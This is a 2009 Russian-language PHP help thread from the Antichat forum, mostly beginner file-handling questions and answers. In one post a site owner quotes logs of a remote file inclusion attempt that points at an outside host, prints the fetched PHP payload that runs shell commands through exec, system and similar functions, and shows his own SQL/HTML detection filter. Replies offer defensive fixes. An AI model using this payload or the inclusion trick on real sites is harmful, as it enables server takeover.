ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #8941  
Старый 20.02.2009, 04:14
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

Цитата:
Сообщение от Frize  
как сдесь сделать что бы текст добавлялся таким видом
1) текст
2) текст2
3) текст3
??
'

сам понял, чо спросил? Где в твоём примере

1) текст
2) текст2
3) текст3

????

PHP код:
<?php

$text1 
"1) текст";
$text2 "2) текст2";
$text3 "3) текст3";

$fp fopen("counter.txt""a"); // Открываем файл в режиме  ДОБАВЛЕНИЯ записи в конец файла
if ($fp) { //Проверяем, что файл открылся на ДОБАВЛЕНИЕ ЗАПИСЕЙ
   
fwrite($fp$text1 "\r\n"); // Запись в файл
   
fwrite($fp$text2 "\r\n"); // Запись в файл
   
fwrite($fp$text3 "\r\n"); // Запись в файл
}
fclose($fp); //Закрытие файла

?>
 
Ответить с цитированием

  #8942  
Старый 20.02.2009, 15:21
Аватар для Frize
Frize
Познающий
Регистрация: 08.11.2008
Сообщений: 31
Провел на форуме:
139522

Репутация: 4
По умолчанию

да тупанул)
Цитата:

$fp = fopen("counter.txt", "a"); // Открываем файл в режиме записи
$test = fwrite($fp, $_POST. "\r\n"); // Запись в файл
if ($test) echo 'Данные в файл успешно занесены.' ;
else echo ('Ошибка при записи в файл.';
fclose($fp); //Закрытие файла
возможно тут сделать? что бы он автоматически добавлял, не вписывая. например че нить такого 1=>100
1) текст
2) текст2
3) текст3

Последний раз редактировалось Frize; 20.02.2009 в 16:32..
 
Ответить с цитированием

  #8943  
Старый 20.02.2009, 16:01
Аватар для Shadow_p1raT
Shadow_p1raT
Участник форума
Регистрация: 09.03.2008
Сообщений: 193
Провел на форуме:
2140897

Репутация: 267
Отправить сообщение для Shadow_p1raT с помощью ICQ
По умолчанию

PHP код:
function test($_POST){
{
    
$fp fopen("counter.txt""a"); // Открываем файл в режиме записи
    
foreach($_POST as $key=>$value) {
        
fwrite($fp,$value."\r\n");
    }
     
fclose($fp);

Frize,это?
 
Ответить с цитированием

  #8944  
Старый 20.02.2009, 16:17
Аватар для spamoney
spamoney
Участник форума
Регистрация: 26.12.2006
Сообщений: 107
Провел на форуме:
228267

Репутация: 27
По умолчанию

Всем, добрый день! Такой вопрос:
В логах безопасности сайта (в раделе динамических ошибок), нередко появляются следующие записи:

Код:
WARNING: urldecode() expects parameter 1 to be string, array given Line: 178 in file /home/httpd/vhosts/МОЙСАЙТ.ru/httpdocs/security.php
Ссылка: //?_SERVER[DOCUMENT_ROOT]=http://www.igrawm.net.ru/404.txt?

WARNING: preg_match() expects parameter 2 to be string, array given Line: 178 in file /home/httpd/vhosts/МОЙСАЙТ.ru/httpdocs/security.php
Ссылка: //?_SERVER[DOCUMENT_ROOT]=http://www.igrawm.net.ru/404.txt?
Дата размещения: 20.02.09 - 03:51:50

WARNING: base64_decode() expects parameter 1 to be string, array given Line: 183 in file /home/httpd/vhosts/МОЙСАЙТ.ru/httpdocs/security.php
Ссылка: //?_SERVER[DOCUMENT_ROOT]=http://www.igrawm.net.ru/404.txt?
Дата размещения: 20.02.09 - 03:51:50
Перейдя по адресу: http://www.igrawm.net.ru/404.txt?

Видим следующий код:

Код:
<?php
echo "Mic22";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
exit;
Как я понимаю сайт пытаются взломать/проверить на какую-то уязвимость, насколько это опасно и можно ли с этим как-то бороться?


P.S
Вот код файла security.php с 177 по 188 строки:

Код:
	foreach ($_GET as $var_name=>$var_value) {
		if (preg_match("/<.*?(script|body|object|iframe|applet|meta|style|form|img|onmouseover).*?>/i", urldecode($var_value)) || preg_match("/\([^>]*\"?[^)]*\)/", $var_value) || preg_match("/\"|\'/", $var_value)) warn_report("HTML in GET - ".$var_name." = ". $var_value."");
		if ($security_url_get == 1) {
			if (preg_match("/^(http\:\/\/|ftp\:\/\/|\/\/|https:\/\/|php:\/\/|\/\/)/i", $var_value)) warn_report("URL in GET - ".$var_name." = ". $var_value);
		}
		$security_string = "/UNION|OUTFILE|SELECT|ALTER|INSERT|DROP|".$prefix."_admins|".$prefix."_users|ModAdmin|SaveAdmin|EditAdmin|DelAdmin/i";
		$security_decode = base64_decode($var_value);
		if (preg_match($security_string, $security_decode)) hack_report("Hack base64 in GET - ".$var_name." = ". $var_value."");
		if (preg_match($security_string, $var_value)) hack_report("Hack in GET - ".$var_name." = ". $var_value."");
		$security_slash = preg_replace("/\/\*.*?\*\//", "", $var_value);
		if (preg_match($security_string, $security_slash)) hack_report("Hack in GET - ".$var_name." = ". $var_value."");
	}
 
Ответить с цитированием

  #8945  
Старый 20.02.2009, 16:19
Аватар для Frize
Frize
Познающий
Регистрация: 08.11.2008
Сообщений: 31
Провел на форуме:
139522

Репутация: 4
По умолчанию

Shadow_p1raT, да походу это, ток чет не робит кажись)))
 
Ответить с цитированием

  #8946  
Старый 20.02.2009, 16:26
Аватар для Ion
Ion
Новичок
Регистрация: 20.02.2009
Сообщений: 2
Провел на форуме:
4087

Репутация: 1
По умолчанию

Добрый день. В общем требуется создать такой скрипит, который бы записывал в переменную первые 10 строк файла text.txt, затем заменял бы все слова «ready» на «all. ready» и записывал бы эту переменную в файл text2.txt, при этом удаляя из файла text2.txt всё, что там было.
Пробовал делать так, невышло:

<?php
$i = 0;
$h = fopen("text.txt","r");
while ($i <= 9) {
$content .= fgets($h);
$content .= "\r\n";

$i++;
}
fclose($h);

$content=ereg_replace('ready','all. ready',$text); // 5

$w=fopen("text2.txt","r");

fwrite($w,$content);

fclose($w);
?>


PS: извиняюсь, если глупость, я начал учить php позавчера.
 
Ответить с цитированием

  #8947  
Старый 20.02.2009, 16:31
Аватар для Shadow_p1raT
Shadow_p1raT
Участник форума
Регистрация: 09.03.2008
Сообщений: 193
Провел на форуме:
2140897

Репутация: 267
Отправить сообщение для Shadow_p1raT с помощью ICQ
По умолчанию

spamoney,проверяй входные данные.Какой тип они имеют
Добавь строчку
PHP код:
is_string($var_name) or die('Переменная '$var_value' не имеет строковой тип!'); //Тут уже смотри на свой вкус,ставить die() или ещё что нибудь 
после этой
Код:
foreach ($_GET as $var_name=>$var_value) {
 
Ответить с цитированием

  #8948  
Старый 20.02.2009, 16:42
Аватар для Shadow_p1raT
Shadow_p1raT
Участник форума
Регистрация: 09.03.2008
Сообщений: 193
Провел на форуме:
2140897

Репутация: 267
Отправить сообщение для Shadow_p1raT с помощью ICQ
По умолчанию

Ion,так?
PHP код:
<?php
$fp 
fopen('text.txt','r');
for(
$i=0;$i<=9;$i++) {
    
$content .= fgets($fp);
}
fclose($fp);    

$content str_replace('ready','all. ready',$content);

$fp2 fopen('text2.txt','w');
fwrite($fp2,$content);
fclose($fp2);
?>
 
Ответить с цитированием

  #8949  
Старый 20.02.2009, 16:52
Аватар для Ion
Ion
Новичок
Регистрация: 20.02.2009
Сообщений: 2
Провел на форуме:
4087

Репутация: 1
По умолчанию

Да, так. Спасибо большое. Всё работает нормально, но при выполнении скрипта вылезает это:
Notice: Undefined variable: content in T:\home\localhost\1234.php on line 4
Что ему в 4-й строке не нравится?
 
Ответить с цитированием

  #8950  
Старый 20.02.2009, 16:53
Аватар для Gifts
Gifts
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
Провел на форуме:
2769640

Репутация: 1304


По умолчанию

spamoney По хорошему - надо добавить рекурсивную проверку, если в качестве параметра передают массив, ограничив глубину рекурсии скажем 2-3 уровнями (чтобы не заддосили). Если же уверены, что ваша КМС не принимает массивы в качестве параметра, то сделать, как предложил Shadow_p1raT только вместо die вызывать функцию warn_report

Ion В начале скрипта добавь $content='';
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Delphi, .NET, Asm 5420 17.06.2010 13:33
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ